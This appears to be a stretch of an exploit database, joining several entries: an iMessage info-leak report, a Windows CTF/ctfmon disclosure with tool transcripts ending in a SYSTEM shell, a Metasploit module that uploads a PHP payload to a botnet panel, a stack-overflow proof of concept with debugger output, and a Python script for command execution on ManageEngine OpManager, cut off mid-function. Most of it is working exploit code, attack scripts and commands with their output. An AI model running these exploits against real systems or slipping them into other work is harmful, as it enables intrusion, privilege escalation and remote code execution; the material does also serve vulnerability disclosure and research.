}
            
There is an info leak when decoding the SGBigUTF8String class using [SGBigUTF8String initWithCoder:]. This class initializes the string using [SGBigUTF8String initWithUTF8DataNullTerminated:] even though there is no guarantee the bytes provided to the decoder are null terminated. It should use [SGBigUTF8String initWithUTF8Data:] instead.

While this class is included in iMessage, it is more likely that this bug could be useful in local attacks.

To reproduce this issue:

1) Compile decodeleak.m

clang -o decodeleak -g decodeleak.m -fobjc-arc -framework CoreSuggestionsInternals -F/System/Library/PrivateFrameworks

2) Run:

./decodeleaks obj

leaked memory will be printed to the screen.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47257.zip
            
The msctf subsystem is part of the Text Services Framework, The TSF manages things like input methods, keyboard layouts, text processing and so on. There are two main components, the ctfmon server and the msctf client.

The ctfmon service creates an ALPC port in a well known location, to which clients connect and exchange messages. When any process creates a window, the kernel invokes a callback, USER32!CtfHookProcWorker, that automatically loads the CTF client.

The CTF subsystem is vast and complex. It was most likely designed for LPC in Windows NT and bolted onto ALPC when it became available in Vista and later. The code is clearly dated with many legacy design decisions. In fact, the earliest version of MSCTF I've been able to find was from the 2001 release of Office XP, which even supported Windows 98. It was later included with Windows XP as part of the base operating system.

There are multiple critical design flaws in this system, I've written a detailed technical analysis and an interactive utility to probe the CTF subsystem.

$ ./ctftool.exe
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help
Type `help <command>` for help with a specific command.
Any line beginning with # is considered a comment.

help            - List available commands.
exit            - Exit the shell.
connect         - Connect to CTF ALPC Port.
info            - Query server informaiton.
scan            - Enumerate connected clients.
callstub        - Ask a client to invoke a function.
createstub      - Ask a client to instantiate CLSID.
hijack          - Attempt to hijack an ALPC server path.
sendinput       - Send keystrokes to thread.
setarg          - Marshal a parameter.
getarg          - Unmarshal a parameter.
wait            - Wait for a process and set it as the default thread.
thread          - Set the default thread.
sleep           - Sleep for specified milliseconds.
forget          - Forget all known stubs.
stack           - Print the last leaked stack ptr.
marshal         - Send command with marshalled parameters.
proxy           - Send command with proxy parameters.
call            - Send command without appended data.
window          - Create and register a message window.
patch           - Patch a marshalled parameter.
module          - Print the base address of a module.
module64        - Print the base address of a 64bit module.
editarg         - Change the type of a marshalled parameter.
symbol          - Lookup a symbol offset from ImageBase.
set             - Change or dump various ctftool parameters.
show            - Show the value of special variables you can use.
lock            - Lock the workstation, switch to Winlogon desktop.
repeat          - Repeat a command multiple times.
run             - Run a command.
script          - Source a script file.
print           - Print a string.
consent         - Invoke the UAC consent dialog.
reg             - Lookup a DWORD in the registry.
Most commands require a connection, see "help connect".
ctf> connect
The ctf server port is located at \BaseNamedObjects\msctf.serverDefault2
NtAlpcConnectPort("\BaseNamedObjects\msctf.serverDefault2") => 0
Connected to CTF server@\BaseNamedObjects\msctf.serverDefault2, Handle 00000248
ctf> info
The server responded.
000000: 20 00 38 00 02 10 00 00 ec 04 00 00 a4 1a 00 00   .8.............
000010: dc b6 00 00 35 1b 2e 00 38 00 00 00 20 2a 00 00  ....5...8... *..
000020: 00 00 00 00 00 00 00 00 ec 04 00 00 00 00 00 00  ................
000030: 00 00 00 00 00 00 00 00                          ........
        Monitor PID: 1260
ctf>

Please see the attached document for a detailed analysis, but here are my major concerns with the service:

1. The ctfmon ALPC port is accessible across sessions, allowing users to compromise other users of the system.
2. UIPI can be bypassed, sending input events to higher integrity windows. This is an AppContainer or IL sandbox escape.
3. The msctf client disables UIPI for Marshal event windows. As far as I can tell, this is unnecessary, only ctfmon should be sending these messages, which is already high integrity.
4. The MSG_CALLSTUB command does not validate the command index, allowing arbitrary code execution.
   4a. Frankly, even if you call a legitimate stub, you’re often trusted to Marshal pointers across the interface. 

Many of the legitimate functions expect pointers with no validation (For example, CInputProcessorProfiles::Register, which is called via CStubITfInputProcessorProfileMgr::stub_ActivateProfile, FunctionIndex 3 for TfInputProcessorProfileMgr)

5. There is no mutual authentication of Servers or Clients, therefore:
   5a. You can hijack the alpc server path for other sessions and wait for clients to connect to you, then send them input.
   5b. You can lie about your ThreadId, ProcessId and HWND, effectively redirecting messages from other clients.

I'm planning to write a full SYSTEM exploit for these issues, because I think it's interesting and I've already invested a ton of work to get the tool working to make a PoC :)

I assume you'll want a copy when it's finished.

Interfering with processes across sessions
------------------------------------------

To reproduce, follow these steps:
* Login as an Administrator to Session 1.
* Please make sure that you do not have an open copy of notepad.
* Use Fast User Switching (i.e. Ctrl-Alt-Del, Switch User) to create an unprivileged standard user session.
* Create a file containing these commands:

connect Default 1
Sleep 10000
wait notepad.exe
createstub 0 4 IID_ITfInputProcessorProfileMgr
setarg 6
setarg 0x201 0x41414141
setarg 0x20001 0x41414142
setarg 0x1 ABABABAB-ABAB-ABAB-ABAB-ABABABABABAB
setarg 0x1 BCBCBCBC-BCBC-BCBC-BCBC-BCBCBCBCBCBC
setarg 0x10001 0x41414145
setarg 0x201 0x41414146
callstub 0 0 3
quit

Run the following command:

PS Z:\Home> cat .\script.txt | .\ctftool.exe

* Use fast user switching to return to Session 1.
* Run windbg -c g ‘notepad.exe’
* Wait 10 seconds, observe that notepad dereferences 0x41414141.

This proves that an unprivileged user can interact with processes on a privileged session.

UIPI can be bypassed, sending input events to higher integrity windows.
-----------------------------------------------------------------------

Use the following command to make ctftool.exe Low Integrity:

> icacls ctftool.exe /setintegritylevel low

Observe that the tool can still connect, scan, and interact with Windows.

The msctf client disables UIPI for Marshal event windows.
---------------------------------------------------------

msctf!SYSTHREAD::LockThreadMessageWindow allows Marshal messages across integrity levels, I suspect this is a bug and unnecessary.

The MSG_CALLSTUB command does not validate the command index.
-------------------------------------------------------------

This is the (decompiled) code that handles MSG_CALLSTUB (Command 0xA, I just guessed the name):

    // Get pointer to appended Data
    ProxyInfo = MsgBase::GetProxyInfoPtr(*MessagePtr);
    if ( ProxyInfo )
    {
      ms_exc.registration.TryLevel = 0;
      Systhread = this->Systhread;
      if ( Systhread->StubArray )
      {
        FoundStub = 0;
        FindStub(Systhread->StubArray, ProxyInfo->StubId, &FoundStub);
        if ( FoundStub )
        {
          if ( FoundStub->TimeStamp == ProxyInfo->TimeStamp )
            Result = FoundStub->vtbl->invoke(FoundStub, ProxyInfo->FunctionIndex, MessagePtr);
        }
      }
      ms_exc.registration.TryLevel = -2;
    }
    return Result;

Here, MessagePtr and ProxyInfo are entirely untrusted data, but that is then used to call an arbitrary index from a table, and the invoke method looks like this:

int __thiscall CStubITfCompartment::Invoke(CStubITfCompartment *this, unsigned int FunctionIndex, struct MsgBase **Msg)
{
  return (*(&CStubITfCompartment::_StubTbl + FunctionIndex))(this, Msg);
}

(All the Invoke functions look similar)

Reproduce like this:

PS Z:\Home> .\ctftool.exe
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
ctf> connect
The ctf server port is located at \BaseNamedObjects\msctf.serverDefault1
ctf> scan
Client 0, Tid 3976 (Flags 0x08, Hwnd 00000F88, Pid 4012, explorer.exe)
Client 1, Tid  780 (Flags 0x08, Hwnd 0000030C, Pid 4012, explorer.exe)
Client 2, Tid  692 (Flags 0x08, Hwnd 000002B4, Pid 4012, explorer.exe)
Client 3, Tid 4420 (Flags 0x0c, Hwnd 00001144, Pid 4352, SearchUI.exe)
Client 4, Tid 7964 (Flags 0x08, Hwnd 00001F1C, Pid 7920, conhost.exe)
Client 5, Tid 7116 (Flags 0x08, Hwnd 00001BCC, Pid 7112, procexp.exe)
Client 6, Tid 9616 (Flags 0000, Hwnd 00002590, Pid 2096, ctfmon.exe)
Client 7, Tid 9048 (Flags 0x08, Hwnd 00002358, Pid 11660, windbg.exe)
Client 8, Tid 1020 (Flags 0x08, Hwnd 000003FC, Pid 4652, notepad.exe)
Client 9, Tid 11620 (Flags 0000, Hwnd 00002D64, Pid 3776, ctftool.exe)
ctf> createstub 1020 4 IID_ITfInputProcessorProfileMgr
Command succeeded, stub created
Dumping Marshal Parameter 3 (Base 00CAA4B0, Type 0x106, Size 0x18, Offset 0x40)
000000: 4c e7 c6 71 28 0f d8 11 a8 2a 00 06 5b 84 43 5c  L..q(....*..[.C\
000010: 01 00 00 00 33 01 61 12                          ....3.a.
Marshalled Value 3, COM {71C6E74C-0F28-11D8-A82A-00065B84435C}, ID 1, Timestamp 0x12610133
ctf> setarg 6
New Parameter Chain, Length 6
ctf> setarg 0x201 0x41414141
Marshalled Value 0, INT 0000000041414141
ctf> setarg 0x201 0x41414146
Marshalled Value 1, INT 0000000041414146
ctf> setarg 0x201 0x41414146
Marshalled Value 2, INT 0000000041414146
ctf> setarg 0x201 0x41414146
Marshalled Value 3, INT 0000000041414146
ctf> setarg 0x201 0x41414146
Marshalled Value 4, INT 0000000041414146
ctf> setarg 0x201 0x41414146
Marshalled Value 5, INT 0000000041414146
ctf> callstub 0 0 0xffff
Sending the Proxy data failed, 0x80004005
ctf> q


There is no mutual authentication of clients and servers.
----------------------------------------------------------

To reproduce this issue, as an unprivileged session use the command `hijack` to create a new ALPC server, then create a privileged session.

For example, `hijack Default 2`, to hijack the server for session 2 on the default desktop.

When the new session is created, the tool will dump information as new privileged clients attempt to connect to the fake service.

PS: Z:\Home> .\ctftool.exe
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
ctf> hijack Default 1
NtAlpcCreatePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218
NtAlpcSendWaitReceivePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 00 11 00 00 44 11 00 00  ..0.. ......D...
000010: a4 86 00 00 b7 66 b8 00 00 11 00 00 44 11 00 00  .....f......D...
000020: e7 12 01 00 0c 00 00 00 80 01 02 00 20 10 d6 05  ............ ...
A a message received
        ProcessID: 4352, SearchUI.exe
        ThreadId: 4420
        WindowID: 00020180
NtAlpcSendWaitReceivePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00  ..0.. ..........
000010: ec 79 00 00 fa 66 b8 00 ac 0f 00 00 0c 03 00 00  .y...f..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 00 00 00 00  ................
A a message received
        ProcessID: 4012, explorer.exe
        ThreadId: 780
        WindowID: 00010110
NtAlpcSendWaitReceivePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00  ..0.. ..........
000010: fc 8a 00 00 2a 67 b8 00 ac 0f 00 00 0c 03 00 00  ....*g..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 58 00 00 00  ............X...
A a message received
        ProcessID: 4012, explorer.exe
        ThreadId: 780
...

Notes on the tool
-----------------

* I have only tested it on Windows 10.
* The tool is interactive and uses readline, type help for a list of commands.
* You can have the source if you like, please let me know.
* The tool is unfinished, I plan to make a full working exploit but wanted to get the ball rolling on disclosure.


The code has been tested with latest Win10 x64 as of 05/21, but I had to hardcode some offsets.

In particular, I have msctf.dll 10.0.17763.348 and kernelbase.dll 10.0.17763.475 (I think those are the only two relevant modules).

1. As an unprivileged user, execute `query user` to see all the others users on the system.

2. Open ctfmonexploit.ctf in notepad, and set the connect line to the sessionid you want to compromise.  

3.  Copy the exploit payload dll into c:\Windows\Temp, call it exploit.dll.

4.  Run `icacls c:\Windows\Temp\exploit.dll /grant "Everyone:(RX)"`

5.  Run `cat ctfmonexploit.ctf | .\ctftool.exe`
 
6. The dll is loaded into a High Integrity process of the specified session when the session is next active.


I got this attack working from unprivileged user to SYSTEM, even from LPAC.

The trick is to switch to the WinLogon desktop, which an unprivileged user can do using USER32!LockWorkstation().

PS Z:\Home\Documents\Projects\alpc> .\ctftool.exe
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> connect Winlogon 1
The ctf server port is located at \BaseNamedObjects\msctf.serverWinlogon1
NtAlpcConnectPort("\BaseNamedObjects\msctf.serverWinlogon1") => 0xc0000034
Waiting for the specified port to appear...
NtAlpcConnectPort("\BaseNamedObjects\msctf.serverWinlogon1") => 0
Connected to CTF server@\BaseNamedObjects\msctf.serverWinlogon1, Handle 00000224
ctf> scan
Client 0, Tid 6324 (Flags 0000, Hwnd 000018B4, Pid 4020, ctftool.exe)
Client 1, Tid 4656 (Flags 0x1000000c, Hwnd 00001230, Pid 2336, LogonUI.exe)
Client 2, Tid 8692 (Flags 0x1000000c, Hwnd 000021F4, Pid 2336, LogonUI.exe)
Client 3, Tid 4808 (Flags 0x10000008, Hwnd 000012C8, Pid 4440, TabTip.exe)
Client 4, Tid 8800 (Flags 0x1000000c, Hwnd 00002260, Pid 8536, Utilman.exe)
Client 5, Tid 6788 (Flags 0x10000008, Hwnd 00001A84, Pid 6628, osk.exe)


I finished the exploit, it reliably gets NT AUTHORITY\SYSTEM from an unprivileged user on up-to-date Windows 10 1903.

I sent Microsoft a finished version.

Here is the current source code, and a video demonstrating it. I think the best targets are either logonui.exe or consent.exe, both run as SYSTEM.

https://www.youtube.com/watch?v=JUbac3OLPaM

$ ./ctftool.exe 
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> script .\scripts\ctf-consent-system.ctf
Attempting to copy exploit payload...
        1 file(s) copied.

Right click something and select "Run as Administrator", then wait for a SYSTEM shell...

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!! YOU DONT NEED TO KNOW ANY PASSWORD, JUST WAIT! !!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

The ctf server port is located at \BaseNamedObjects\msctf.serverDefault1
Connected to CTF server@\BaseNamedObjects\msctf.serverDefault1, Handle 00000244
Waiting for the consent dialog to join the session...
Found new client consent.exe, DefaultThread now 6900
consent.exe has joined the session, starting exploit...
Command succeeded, stub created
Dumping Marshal Parameter 3 (Base 011E89C0, Type 0x106, Size 0x18, Offset 0x40)
000000: 4d e7 c6 71 28 0f d8 11 a8 2a 00 06 5b 84 43 5c  M..q(....*..[.C\
000010: 01 00 00 00 6c 4a af 03                          ....lJ..
Marshalled Value 3, COM {71C6E74D-0F28-11D8-A82A-00065B84435C}, ID 1, Timestamp 0x3af4a6c
0x7ff8cf290000
0x7ff8cf340000
0x7ff8cffe0000
0x7ff8cf340000
Guessed kernel32 => C:\WINDOWS\system32\kernel32.DLL
C:\WINDOWS\system32\kernel32.DLL is a 64bit module.
kernel32!LoadLibraryA@0x180000000+0x1eb60
The CFG call chain is built, writing in parameters...
Writing in the payload path "C:\WINDOWS\TEMP\EXPLOIT.DLL"...
0x7ff8cfc40000
Payload created and call chain ready, get ready...
C:\WINDOWS\system32>whoami
nt authority\system


If you have an input profile with enhanced capabilities available (in general, if you use an IME then you do - Chinese, Korean, Japanese, etc.), then a low privileged application on the same session can read and write data to a higher privileged application.

The user doesn't need to have the language selected, because a CTF client can change active profile too, but it does have to be installed.

The problem with this is that a low privileged application can take control of an elevated command prompt, escape a low-integrity sandbox, escape AppContainer/LPAC, read passwords out of login dialogs/consent dialogs, and so on.

This means UIPI basically doesn't work any more.

I've attached a ctf script that will wait for you to open notepad, and then write some text into it. Here is a screenshot of a low privileged ctftool typing into an Administrator console.

Please note, if you *only* have languages installed that doesn't use an Out-of-process TIP (English, German, French, Polish, etc), you are likely unaffected (or at least, I don't know how to exploit it yet). Right now, it's mostly users in Asia affected by this, but I'm admittedly ignorant about i18n and a11y.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47258.zip
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Tesla Agent Remote Code Execution",
      'Description'    => %q{
        This module exploits the command injection vulnerability of tesla agent botnet panel.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Ege Balcı <ege.balci@invictuseurope.com>' # author & msf module
        ],
      'References'     =>
        [
          ['URL', 'https://prodaft.com']
        ],
      'DefaultOptions'  =>
        {
          'SSL' => false,
          'WfsDelay' => 5,
        },
      'Platform'       => ['php'],
      'Arch'           => [ ARCH_PHP ],
      'Targets'        =>
      [
        ['PHP payload',
          {
            'Platform' => 'PHP',
            'Arch' => ARCH_PHP,
            'DefaultOptions' => {'PAYLOAD'  => 'php/meterpreter/bind_tcp'}
          }
        ]
      ],
      'Privileged'     => false,
      'DisclosureDate' => "July 10 2018",
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI of the tesla agent with panel path', '/WebPanel/']),
      ]
    )
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/server_side/scripts/server_processing.php'),
    )
    #print_status(res.body)
    if res && res.body.include?('SQLSTATE')
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    check

    name = '.'+Rex::Text.rand_text_alpha(4)+'.php'

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path,'/server_side/scripts/server_processing.php'),
      'encode_params' => true,
      'vars_get'  => {
        'table'  => 'passwords',
        'primary'  => 'password_id',
        'clmns'  => 'a:1:{i:0;a:3:{s:2:"db";s:3:"pwd";s:2:"dt";s:8:"username";s:9:"formatter";s:4:"exec";}}',
        'where'  => Rex::Text.encode_base64("1=1 UNION SELECT \"echo #{Rex::Text.encode_base64(payload.encoded)} | base64 -d > #{name}\"")
      }
    )

    if res && res.code == 200 && res.body.include?('recordsTotal')
      print_good("Payload uploaded as #{name}")  
    else
      print_error('Payload upload failed :(')
      Msf::Exploit::Failed
    end

    
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path,'/server_side/scripts/',name)}, 5
    )
    
    if res && res.code == 200
      print_good("Payload successfully triggered !")  
    else
      print_error('Payload trigger failed :(')
      Msf::Exploit::Failed
    end
    
  end
end
            
Exploit Title: ABC2MTEX 1.6.1 - Command Line Stack Overflow
Date: 2019-08-13
Exploit Author: Carter Yagemann <yagemann@gatech.edu>
Vendor Homepage: https://abcnotation.com/abc2mtex/
Software Link: https://github.com/mudongliang/source-packages/raw/master/CVE-2004-1257/abc2mtex1.6.1.tar.gz
Version: 1.6.1
Tested on: Debian Buster

An unsafe strcpy at abc.c:241 allows an attacker to overwrite the return
address from the openIn function by providing a long input filename. This
carries similar risk to CVE-2004-1257.

Setup:

$ wget https://github.com/mudongliang/source-packages/raw/master/CVE-2004-1257/abc2mtex1.6.1.tar.gz
$ tar -xzf abc2mtex1.6.1.tar.gz
$ make

$ gcc --version
gcc (Debian 8.3.0-6) 8.3.0
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

PoC:

$ ./abc2mtex AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFEDCBA

GDB:

We're going to place a breakpoint before and after abc.c:241 to show the overflow.

$ gdb -q ./abc2mtex
Reading symbols from ./abc2mtex...done.
(gdb) break abc.c:241
Breakpoint 1 at 0x4139: file abc.c, line 241.
(gdb) break abc.c:242
Breakpoint 2 at 0x414c: file abc.c, line 242.
(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFEDCBA
Starting program: /tmp/tmp.4jy8nhwOI3/abc2mtex AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFEDCBA

Breakpoint 1, openIn (filename=0x7fffffffe240 'A' <repeats 120 times>, "FEDCBA") at abc.c:241
241                     (void) strcpy(savename,filename);
(gdb) bt
#0  openIn (filename=0x7fffffffe240 'A' <repeats 120 times>, "FEDCBA") at abc.c:241
#1  0x0000555555556f00 in main (argc=2, argv=0x7fffffffe4f8) at fields.c:273
(gdb) c
Continuing.

Breakpoint 2, openIn (filename=0x7fffffffe240 'A' <repeats 120 times>, "FEDCBA") at abc.c:242
242                     (void) strcat(filename,".abc");
(gdb) bt
#0  openIn (filename=0x7fffffffe240 'A' <repeats 120 times>, "FEDCBA") at abc.c:242
#1  0x0000414243444546 in ?? ()
#2  0x00007fffffffe4f8 in ?? ()
#3  0x0000000200000000 in ?? ()
#4  0x0000000000000000 in ?? ()
(gdb) c
Continuing.
file "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFEDCBA" does not exist

Program received signal SIGSEGV, Segmentation fault.
0x0000414243444546 in ?? ()
(gdb) quit
            
#!/usr/bin/env python3

# Exploit Title: ManageEngine opManager Authenticated Code Execution
# Google Dork: N/A
# Date: 08/13/2019
# Exploit Author: @kindredsec
# Vendor Homepage: https://www.manageengine.com/
# Software Link: https://www.manageengine.com/network-monitoring/download.html
# Version: 12.3.150
# Tested on: Windows Server 2016
# CVE: N/A

import requests
import re
import random
import sys
import json
import string
import argparse

C_WHITE = '\033[1;37m'
C_BLUE = '\033[1;34m'
C_GREEN = '\033[1;32m'
C_YELLOW = '\033[1;33m'
C_RED = '\033[1;31m'
C_RESET = '\033[0m'
LOGIN_FAIL_MSG = "Invalid username and/or password."

def buildRandomString(length=10):
	letters = string.ascii_lowercase
	return ''.join(random.choice(letters) for i in range(length))


def getSessionData(target, user, password):

	session = requests.Session()
	session.get(target)

	# Login Sequence
	randSid = random.uniform(-1,1)
	getParams = { "requestType" : "AJAX" , "sid" : str(randSid) }
	postData = { "eraseAutoLoginCookie" : "true" }
	session.post( url = target + "/servlets/SettingsServlet", data = postData, params = getParams )

	postData = { "loginFromCookieData" : "false",
						 "ntlmv2" : "false", 
						 "j_username" : user,
						 "j_password" : password 
						}
	initialAuth = session.post( url = target + "/j_security_check", data = postData ) 


	if LOGIN_FAIL_MSG in initialAuth.text:

		print(f"{C_RED}[-]{C_RESET} Invalid credentials specified! Could not login to OpManager.")
		sys.exit(1)

	elif initialAuth.status_code != 200:
		print(f"{C_RED}[-]{C_RESET} An Unknown Error has occurred during the authentication process.")
		sys.exit(1)

	apiKeyReg = re.search(".*\.apiKey = .*;", initialAuth.text)
	apiKey = apiKeyReg.group(0).split('"')[1]

	return { "session" : session , "apiKey" : apiKey }




def getDeviceList(target, session, apiKey):

	deviceList = session.get( target + "/api/json/v2/device/listDevices" , params = { "apiKey" : apiKey } )

	devices = {}
	devicesJsonParsed = json.loads(deviceList.text)
	for row in devicesJsonParsed["rows"]:
		devices[row["deviceName"]] = [ row["ipaddress"], row["type"] ]

	return devices



def buildTaskWindows(target, session, apiKey, device, command):

	# Build Task
	taskName = buildRandomString()
	workFlowName = buildRandomString(15)

	jsonData = """{"taskProps":{"mainTask":{"taskID":9,"dialogId":3,"name":"""
	jsonData += '"' + taskName + '"'
	jsonData += ""","deviceDisplayName":"${DeviceName}","cmdLine":"cmd.exe /c ${FileName}.bat ${DeviceName} ${UserName} ${Password} arg1","scriptBody":""" 
	jsonData += '"' + command + '"'
	jsonData +=  ""","workingDir":"${UserHomeDir}","timeout":"60","associationID":-1,"x":41,"y":132},"name":"Untitled","description":""},"triggerProps":{"workflowDetails":{"wfID":"","wfName":"""
	jsonData += '"' + workFlowName + '"' 
	jsonData += ""","wfDescription":"Thnx for Exec","triggerType":"0"},"selectedDevices":["""
	jsonData += '"' +  device + '"' 
	jsonData += """],"scheduleDetails":{"schedType":"1","selTab":"1","onceDate":"2999-08-14","onceHour":"0","onceMin":"0","dailyHour":"0","dailyMin":"0","dailyStartDate":"2019-08-14","weeklyDay":[],"wee"""
	jsonData += """klyHour":"0","weeklyMin":"0","monthlyType":"5","monthlyWeekNum":"1","monthlyDay":["1"],"monthlyHour":"0","monthlyMin":"0","yearlyMonth":["0"],"yearlyDate":"1","yearlyHour":"0","y"""
	jsonData += """earlyMin":"0"},"criteriaDetails":{}}}"""

	makeWorkFlow = session.post(url = target + "/api/json/workflow/addWorkflow", params = { "apiKey" : apiKey }, data = { "jsonData" : jsonData })

	if "has been created successfully" in makeWorkFlow.text:
		print(f"{C_GREEN}[+]{C_RESET} Successfully created Workflow")
	else:
		print(f"{C_RED}[-]{C_RESET} Issues creating workflow. Exiting . . .")
		sys.exit(1)

	return workFlowName


def buildTaskLinux(target, session, apiKey, device, command):

	taskName = buildRandomString()
	workFlowName = buildRandomString(15)

	jsonData = """{"taskProps":{"mainTask":{"taskID":9,"dialogId":3,"name":"""
	jsonData += '"' + taskName + '"'
	jsonData += ""","deviceDisplayName":"${DeviceName}","cmdLine":"sh ${FileName} ${DeviceName} arg1","scriptBody":""" 
	jsonData += '"' + command + '"'
	jsonData +=  ""","workingDir":"${UserHomeDir}","timeout":"60","associationID":-1,"x":41,"y":132},"name":"Untitled","description":""},"triggerProps":{"workflowDetails":{"wfID":"","wfName":"""
	jsonData += '"' + workFlowName + '"' 
	jsonData += ""","wfDescription":"Thnx for Exec","triggerType":"0"},"selectedDevices":["""
	jsonData += '"' +  device + '"' 
	jsonData += """],"scheduleDetails":{"schedType":"1","selTab":"1","onceDate":"2999-08-14","onceHour":"0","onceMin":"0","dailyHour":"0","dailyMin":"0","dailyStartDate":"2019-08-14","weeklyDay":[],"wee"""
	jsonData += """klyHour":"0","weeklyMin":"0","monthlyType":"5","monthlyWeekNum":"1","monthlyDay":["1"],"monthlyHour":"0","monthlyMin":"0","yearlyMonth":["0"],"yearlyDate":"1","yearlyHour":"0","y"""
	jsonData += """earlyMin":"0"},"criteriaDetails":{}}}"""

	makeWorkFlow = session.post(url = target + "/api/json/workflow/addWorkflow", params = { "apiKey" : apiKey }, data = { "jsonData" : jsonData })

	if "has been created successfully" in makeWorkFlow.text:
		print(f"{C_GREEN}[+]{C_RESET} Successfully created Workflow")
	else:
		print(f"{C_RED}[-]{C_RESET} Issues creating workflow. Exiting . . .")
		sys.exit(1)

	return workFlowName


# Get the ID of the newly created workflow
def getWorkflowID(target, session, apiKey, workflowName):

	getID = session.get(url = target + "/api/json/workflow/getWorkflowList", params = { "apiKey" : apiKey })

	rbID = -100
	workflowJsonParsed = json.loads(getID.text)
	for wf in workflowJsonParsed:
		if wf['name'] == workflowName:
			rbID = wf['rbID'] 

	if rbID == -100: 
		print(f"{C_RED}[-]{C_RESET} Issue obtaining Workflow ID. Exiting ...")
		sys.exit(1)

	return rbID


def getDeviceID(target, session, apiKey, rbID, device):

	getDevices = session.get(url = target + "/api/json/workflow/showDevicesForWorkflow", params = { "apiKey" : apiKey , "wfID" : rbID })
	wfDevicesJsonParsed = json.loads(getDevices.text)
	wfDevices = wfDevicesJsonParsed["defaultDevices"]
	deviceID = list(wfDevices.keys())[0]

	return deviceID



def runWorkflow(target, session, apiKey, rbID, device):

	targetDeviceID = getDeviceID(target, session, apiKey, rbID, device)
	
	print(f"{C_YELLOW}[!]{C_RESET} Executing Code . . .")
	workflowExec = session.post(target + "/api/json/workflow/executeWorkflow", params = { "apiKey" : apiKey }, data = { "wfID" : rbID, "deviceName" : targetDeviceID, "triggerType" : 0 }	)

	if re.match(r"^\[.*\]$", workflowExec.text.strip()):
		print(f"{C_GREEN}[+]{C_RESET} Code appears to have run successfully!")
	else:
		print(f"{C_RED}[-]{C_RESET} Unknown error has occurred. Please try again or run the process manually.")
		sys.exit(1)

	deleteWorkflow(target, session, apiKey, rbID)
	print(f"{C_GREEN}[+]{C_RESET} Exploit complete!")


def deleteWorkflow(target, session, apiKey, rbID):
	
	print(f"{C_YELLOW}[!]{C_RESET} Cleaning up . . .")
	delWorkFlow = session.post( target + "/api/json/workflow/deleteWorkflow" , params = { "apiKey" : apiKey, "wfID" : rbID })


def main():

	parser = argparse.ArgumentParser(description="Utilizes OpManager's Workflow feature to execute commands on any monitored device.")
	parser.add_argument("-t", nargs='?', metavar="target", help="The full base URL of the OpManager Instance (Example: http://192.168.1.1)")
	parser.add_argument("-u", nargs='?', metavar="user", help="The username of a valid OpManager admin account.")
	parser.add_argument("-p", nargs='?', metavar="password", help="The password of a valid OpManager admin account.")
	parser.add_argument("-c", nargs='?', metavar="command", help="The command you want to run.")

	args = parser.parse_args()
	
	insufficient_args = False
	if not args.u:
		print(f"{C_RED}[-]{C_RESET} Please specify a username with '-t'.")
		insufficient_args = True
	if not args.t:
		print(f"{C_RED}[-]{C_RESET} Please specify a target with '-t'.")
		insufficient_args = True
	if not args.p:
		print(f"{C_RED}[-]{C_RESET} Please specify a password with '-p'.")
		insufficient_args = True
	if not args.c:
		print(f"{C_RED}[-]{C_RESET} Please specify a command with '-c'.")
		insufficient_args = True

	if insufficient_args:
		sys.exit(1)

	
	sessionDat = getSessionData(args.t, args.u, args.p)
	session = sessionDat["session"]
	apiKey = sessionDat["apiKey"]

	devices = getDeviceList(args.t, session, apiKey)

	# if there's only one device in the OpManager instance, default to running commands on that device;
	# no need to ask the user.
	if len(devices.keys()) == 1:
		device = list(devices.keys())[0]
	else:
		print(f"{C_YELLOW}[!]{C_RESET} There appears to be multiple Devices within this target OpManager Instance:")
